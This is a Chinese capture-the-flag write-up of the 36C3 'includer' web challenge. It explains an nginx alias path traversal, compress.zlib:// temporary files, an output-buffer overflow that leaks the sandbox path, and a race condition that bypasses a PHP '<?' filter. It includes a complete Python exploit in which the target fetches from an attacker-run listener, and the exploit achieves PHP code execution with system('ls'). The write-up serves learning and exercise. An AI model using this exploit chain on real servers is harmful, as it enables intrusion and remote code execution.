includer

includer

  • compress://zlib创建临时文件
  • LFI
  • 利用窗口期绕过

这个题是在zedd的博客看到的https://blog.zeddyu.info/2020/01/08/36c3-web/#includer

题十分巧妙,所以尝试进行复现和学习

具体的就看zedd师傅的博客就行了

这个比赛好像是给dockerfile然后自己搭建的

Configuration Error

首先给了dockerfile和附件

在nginx配置里漏洞可以利用

location /.well-known {
autoindex on;
alias /var/www/html/well-known/;
}

这里是控制我们实际访问是哪个文件

在这使用了alias,且目标路由是/.well-known

这样就会导致目录遍历,可以使我们访问到上一层目录

eg:

/.well-known../就会变成/var/www/html/well-known/../

所以我们访问/.well-know…/的时候,就可以访问到此文件目录的上一级目录的文件或者文件夹

修复的话就改成

location /.well-known/ {
autoindex on;
alias /var/www/html/well-known/;
}

How to update file

index.php

<?php
declare(strict_types=1);

$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";
try {
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }
}
finally {
    system('rm -rf '.escapeshellarg($rand_dir));
}

首先这里设置了临时文件的路径为用mkdir创建的那个目录。

对传输的内容进行了检测,用stripos()进行检测是否存在<?

这里是使用compress.zlib://协议生成临时文件,且生成的临时文件的内容就是我们上传的内容。(源码分析看zedd的博客就行)

类似:compress.zlib://http://ip,而且我们知道这个临时文件保存在'files/'.bin2hex(random_bytes(32)),所以我们的目的就是去包含这个文件。

bypass waf

如果成功包含这个文件,但里面的内容如果有<?那就还是无法通过这个waf。

在zedd的wp中写到

waf利用两个函数之间极端的时间窗进行绕过。

什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过stripos的判断就是没有 PHP 代码的文件数据,接着我们利用 HTTP 长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有 PHP 代码的数据了,这样就能使include_once包含我们的代码了。

由于有极短的窗口期,所以要控制好两次发数据的时间间隔

那么该如何保持保持长连接?

zedd使用的是pwn包里的listen方法。

test

为了搞懂为什么要使用pwn包里的东西,我自己进行了一些测试

靶机

<?php
$a=file_get_contents($_POST[1]);
print_r($a);

攻击机

import time
from pwn import *
l=listen(9900)
resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1
Content-Type: text/html; charset=UTF-8

{}'''.format('A' * 5).replace("\n", "\r\n").encode()
l.send(resp)
time.sleep(5)
data="wzx".encode()
l.send(data)

在传参为1=http://192.168.184.1:9900/时,可以发现明显的延时,就是说在攻击机的listen()不断的时候,这个连接是一直存在的

同样,将攻击机的脚本改为

import time
from pwn import *
l=listen(9900)
resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1
Content-Type: text/html; charset=UTF-8

{}'''.format('A' * 5).replace("\n", "\r\n").encode()
#l.send(resp)
time.sleep(5)
data="wzx".encode()
l.send(data)

这个时候在攻击机监听到请求的时候先不发包,在等待5秒钟之后再发包,得到的回显是这样的

image-20221021155348678

就是说即使前面的请求错误,但是后面正常传数据,还是可以接收到的。

这就说明了是保持着长连接

又学到了新知识


所以我们可以先传一段比较大的数据,然后再传包含php代码的数据,这样不仅可以使临时文件存在的时间变长,让我们可以方便的去包含它,也可以以此来绕过waf

Get filename

前面说到我们需要包含那个临时文件,那么我们就需要得到临时文件的名字,但是由于php output buffer的存在,只有在php脚本执行完后才会用echo进行输出,所以正常情况下只有脚本执行结束,我们才能得到sandbox的路径

echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

可以使用过长的name传参,来让php output buffer 溢出,从而在保持连接的情况下得到sandbox路径

According to the above information, we can easily see that the default size of the PHP buffer under most configurations is 4096 bytes (4KB) which means PHP buffers can hold data up to 4KB. Once this limit is exceeded or PHP code execution is finished, buffered content is automatically sent to whatever back end PHP is being used (CGI, mod_php, FastCGI). Output buffering is always Off in PHP-CLI. We will see what this means soon.

在大多数配置下,PHP 缓冲区的默认大小是 4096 字节(4KB),这意味着 PHP 缓冲区最多可以容纳 4KB 的数据。一旦超过此限制或 PHP 代码执行完成,缓冲的内容将自动发送到正在使用的任何后端 PHP(CGI、mod_php、FastCGI)。

https://www.sitepoint.com/php-streaming-output-buffering-explained/

然后用前面的/.well-known../来查看临时文件的名字

import requests
from pwn import *

for i in range(100):

    r=remote("172.27.96.1",9999)
    l=listen(9090)
    # get filename
    data = """name={}&file=compress.zlib://http://192.168.184.1:9090""".format("a" * 8050)#这里要选择合适的长度来溢出
    payload = """POST / HTTP/1.1
Host: 172.27.96.1:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}""".format(len(data), data).replace("\n", "\r\n").encode()
    r.send(payload)
    try:
        r.recvuntil("your sandbox: ".encode())
    except EOFError:
        print("[ERROR]"+"EOFError")
        r.close()
        continue
    dirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'
    print("[DEBUG]:dirname:"+dirname)

    c=l.wait_for_connection()
    # send trash 让临时文件长时间存活
    trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

{}'''.format('A' * 9009000).replace("\n", "\r\n").encode()
    c.send(trash)
    url="http://172.27.96.1:9999/.well-known../"+dirname
    print(url)
    res1=requests.get(url=url)
    try:
        print(res1.text)
        tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
        print("[DEBUG]:" + tmpname)
    except IndexError:
        print("i will close")
        l.close()
        r.close()
        c.close()
        print("[ERROR]: IndexErorr")
        continue

可以得到临时文件的名字,和输出页面的代码

<html>
<head><title>Index of /.well-known../files/3ee11fa9d8b135d31ca7f18cd35c2598d02fa6259497f728900e02ffa9283b22/</title></head>
<body bgcolor="white">
<h1>Index of /.well-known../files/3ee11fa9d8b135d31ca7f18cd35c2598d02fa6259497f728900e02ffa9283b22/</h1><hr><pre><a href="../">../</a>
<a href="phpaUfhrn">phpaUfhrn</a>                                          21-Oct-2022 08:41               40684
</pre><hr></body>
</html>

php+6个随机字符

使用正则来定位这个临时文件名php后面的字符串

tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]

Get flag!

总结流程:

使用pwntools里的listen()来保持长连接

使用compress.zlib://来生成临时文件,并传输大量垃圾数据来使临时文件长期存活。

使用php output buffer溢出来在保持连接的情况下获得sandbox路径

利用前面传输的垃圾数据来绕过的stripos()检材,然后利用http长连接的状态再传输php代码,来绕过检材

竞争包含临时文件,执行php代码

注意

因为两个函数直接的窗口期很短,所以需要控制好发送数据包的时间间隔

这里需要竞争,所以要控制好垃圾数据的大小

exp.py

import requests
from pwn import *

for i in range(100):

    r=remote("172.27.96.1",9999)
    l=listen(9090)
    # get filename
    data = """name={}&file=compress.zlib://http://192.168.184.1:9090""".format("a" * 8050)#这里要选择合适的长度来溢出
    payload = """POST / HTTP/1.1
Host: 172.27.96.1:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}""".format(len(data), data).replace("\n", "\r\n").encode()
    r.send(payload)
    try:
        r.recvuntil("your sandbox: ".encode())
    except EOFError:
        print("[ERROR]"+"EOFError")
        r.close()
        continue
    dirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'
    print("[DEBUG]:dirname:"+dirname)

    c=l.wait_for_connection()
    # send trash 来让临时文件存活更久
    trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

{}'''.format('A' * 9009000).replace("\n", "\r\n").encode() # 要控制垃圾数据的大小
    c.send(trash)
    url="http://172.27.96.1:9999/.well-known../"+dirname
    print(url)
    res1=requests.get(url=url)
    try:
        tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
        print("[DEBUG]:" + tmpname)
        print(res1.text)
    except IndexError:
        print("i will close")
        l.close()
        r.close()
        c.close()
        print("[ERROR]: IndexErorr")
        continue

    time.sleep(0.16) # 要控制好延时,得自己调试

    data2="v2ish1yan<?php system('ls');?>"

    c.send(data2)

    exp_filename=dirname+tmpname
    res2=requests.post("http://172.27.96.1:9999/",data={"file":exp_filename})
    print(res2.text,res2.status_code)
    if "v2ish1yan" in res2.text:
        break
    l.close()
    r.close()
    c.close()

Summary

compress.zlib://产生临时文件

pwn包的listen()维持长连接

利用函数窗口期来绕过检测

利用垃圾数据来让临时文件存活的更久

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值